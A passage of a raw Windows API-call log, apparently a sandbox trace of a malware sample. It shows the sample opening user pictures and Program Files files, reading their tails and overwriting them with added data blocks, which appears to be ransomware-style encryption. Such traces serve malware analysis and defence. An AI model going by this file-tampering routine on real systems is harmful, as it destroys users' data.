lpBuffer=0x25c9208*, lpNumberOfBytesWritten=0x2b0f2d0*=0x1e8e, lpOverlapped=0x0) returned 1 [0032.441] CloseHandle (hObject=0x168) returned 1 [0032.448] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0032.450] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.450] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x91554 [0032.450] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.450] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.450] ReleaseMutex (hMutex=0x128) returned 1 [0032.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hydrangeas.jpg", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0032.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hydrangeas.jpg", cchWideChar=14, lpMultiByteStr=0x1e6308c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hydrangeas.jpg", lpUsedDefaultChar=0x0) returned 14 [0032.450] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0032.452] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.452] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x90554 [0032.453] ReadFile (in: hFile=0x168, lpBuffer=0x1d84e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.454] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x90554 [0032.455] WriteFile (in: hFile=0x168, lpBuffer=0x1d84e78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.455] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0032.455] WriteFile (in: hFile=0x168, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2b0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0032.455] WriteFile (in: hFile=0x168, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0032.455] CloseHandle (hObject=0x168) returned 1 [0032.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0032.463] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.463] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x712e [0032.464] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.464] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.464] ReleaseMutex (hMutex=0x128) returned 1 [0032.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msjet.xsl", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msjet.xsl", cchWideChar=9, lpMultiByteStr=0x1e6320c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msjet.xsl", lpUsedDefaultChar=0x0) returned 9 [0032.464] ReadFile (in: hFile=0x168, lpBuffer=0x1d84e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.790] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x612e [0032.791] ReadFile (in: hFile=0x168, lpBuffer=0x1d84e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.791] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x612e [0032.791] WriteFile (in: hFile=0x168, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.791] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0032.792] WriteFile (in: hFile=0x168, lpBuffer=0x1d84e78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0032.792] CloseHandle (hObject=0x168) returned 1 [0032.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe" (normalized: "c:\\program files\\microsoft synchronization services\\creditservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0032.793] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe", nBufferLength=0x104, lpBuffer=0x2b0f694, lpFilePart=0x2b0f690 | out: lpBuffer="C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe", lpFilePart=0x2b0f690*="creditservice.exe") returned 0x45 [0032.793] GetLastError () returned 0x20 [0032.793] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x2b0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?pʰ폈Hʰ퐔HʰLʰ꣐Ǧ\x01") returned 0x51 [0032.793] LocalFree (hMem=0x70da60) returned 0x0 [0032.793] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2b0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0032.793] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2b0f894) [0032.793] RtlUnwind (TargetFrame=0x2b0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0032.794] RtlUnwind (TargetFrame=0x2b0f920, TargetIp=0x407184, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0032.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe" (normalized: "c:\\program files\\microsoft synchronization services\\creditservice.exe")) returned 0x20 [0032.794] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\jntfiltr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0032.799] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui", nBufferLength=0x104, lpBuffer=0x2b0f694, lpFilePart=0x2b0f690 | out: lpBuffer="C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui", lpFilePart=0x2b0f690*="JNTFiltr.dll.mui") returned 0x37 [0032.799] GetLastError () returned 0x5 [0032.799] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2b0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʰ폈Hʰ퐔HʰLʰ꣐Ǧ\x01") returned 0x13 [0032.799] LocalFree (hMem=0x70b5a8) returned 0x0 [0032.799] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2b0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0032.799] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2b0f894) [0032.799] RtlUnwind (TargetFrame=0x2b0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0032.799] RtlUnwind (TargetFrame=0x2b0f920, TargetIp=0x407184, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0032.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\jntfiltr.dll.mui")) returned 0x20 [0032.800] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp" (normalized: "c:\\program files\\windows journal\\templates\\blank.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0032.811] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp", nBufferLength=0x104, lpBuffer=0x2b0f694, lpFilePart=0x2b0f690 | out: lpBuffer="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp", lpFilePart=0x2b0f690*="blank.jtp") returned 0x34 [0032.811] GetLastError () returned 0x5 [0032.812] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2b0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʰ폈Hʰ퐔HʰLʰ꣐Ǧ\x01") returned 0x13 [0032.812] LocalFree (hMem=0x70b5a8) returned 0x0 [0032.812] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2b0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0032.812] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2b0f894) [0032.812] RtlUnwind (TargetFrame=0x2b0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0032.812] RtlUnwind (TargetFrame=0x2b0f920, TargetIp=0x407184, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0032.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp" (normalized: "c:\\program files\\windows journal\\templates\\blank.jtp")) returned 0x20 [0032.813] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp" (normalized: "c:\\program files\\windows journal\\templates\\to_do_list.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0032.814] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp", nBufferLength=0x104, lpBuffer=0x2b0f694, lpFilePart=0x2b0f690 | out: lpBuffer="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp", lpFilePart=0x2b0f690*="To_Do_List.jtp") returned 0x39 [0032.814] GetLastError () returned 0x5 [0032.814] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2b0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʰ폈Hʰ퐔HʰLʰ꣐Ǧ\x01") returned 0x13 [0032.815] LocalFree (hMem=0x70b5a8) returned 0x0 [0032.815] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2b0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0032.815] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2b0f894) [0032.815] RtlUnwind (TargetFrame=0x2b0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0032.815] RtlUnwind (TargetFrame=0x2b0f920, TargetIp=0x407184, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0032.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp" (normalized: "c:\\program files\\windows journal\\templates\\to_do_list.jtp")) returned 0x20 [0032.817] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" (normalized: "c:\\program files\\windows photo viewer\\en-us\\imagingdevices.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0032.818] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui", nBufferLength=0x104, lpBuffer=0x2b0f694, lpFilePart=0x2b0f690 | out: lpBuffer="C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui", lpFilePart=0x2b0f690*="ImagingDevices.exe.mui") returned 0x42 [0032.818] GetLastError () returned 0x5 [0032.818] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2b0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʰ폈Hʰ퐔HʰLʰ꣐Ǧ\x01") returned 0x13 [0032.818] LocalFree (hMem=0x70b5a8) returned 0x0 [0032.818] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2b0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0032.818] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2b0f894) [0032.818] RtlUnwind (TargetFrame=0x2b0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0032.818] RtlUnwind (TargetFrame=0x2b0f920, TargetIp=0x407184, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0032.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" (normalized: "c:\\program files\\windows photo viewer\\en-us\\imagingdevices.exe.mui")) returned 0x20 [0032.818] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\berime.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0032.821] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.822] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x42ba [0032.822] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.822] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.822] ReleaseMutex (hMutex=0x128) returned 1 [0032.822] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Berime.htm", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0032.822] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Berime.htm", cchWideChar=10, lpMultiByteStr=0x1e6314c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Berime.htm", lpUsedDefaultChar=0x0) returned 10 [0032.822] ReadFile (in: hFile=0x168, lpBuffer=0x1d84e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.935] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x32ba [0032.935] ReadFile (in: hFile=0x168, lpBuffer=0x1d84e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.943] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x32ba [0032.943] WriteFile (in: hFile=0x168, lpBuffer=0x2628ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2628ca8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.944] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0032.944] WriteFile (in: hFile=0x168, lpBuffer=0x1d84e78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0032.944] CloseHandle (hObject=0x168) returned 1 [0032.945] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroBroker.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\acrobroker.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0032.945] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.945] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x47f98 [0032.945] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.945] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.945] ReleaseMutex (hMutex=0x128) returned 1 [0032.945] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroBroker.exe", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0032.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroBroker.exe", cchWideChar=14, lpMultiByteStr=0x1e632ec, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroBroker.exe", lpUsedDefaultChar=0x0) returned 14 [0032.946] ReadFile (in: hFile=0x168, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2b0f278*=0x8000, lpOverlapped=0x0) returned 1 [0032.949] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x46f98 [0032.949] ReadFile (in: hFile=0x168, lpBuffer=0x2626c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2626c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.953] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x46f98 [0032.953] WriteFile (in: hFile=0x168, lpBuffer=0x1dece18*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dece18*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.954] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0032.954] WriteFile (in: hFile=0x168, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2b0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0032.954] CloseHandle (hObject=0x168) returned 1 [0032.961] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0032.964] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.964] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1e00 [0032.964] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.964] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.964] ReleaseMutex (hMutex=0x128) returned 1 [0032.964] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.964] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CZE", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CZE", lpUsedDefaultChar=0x0) returned 11 [0032.964] ReadFile (in: hFile=0x168, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2b0f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0032.970] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0032.970] WriteFile (in: hFile=0x168, lpBuffer=0x261ec48*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261ec48*, lpNumberOfBytesWritten=0x2b0f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0032.971] CloseHandle (hObject=0x168) returned 1 [0032.972] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0032.977] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.977] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1e00 [0032.977] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.977] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.977] ReleaseMutex (hMutex=0x128) returned 1 [0032.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, 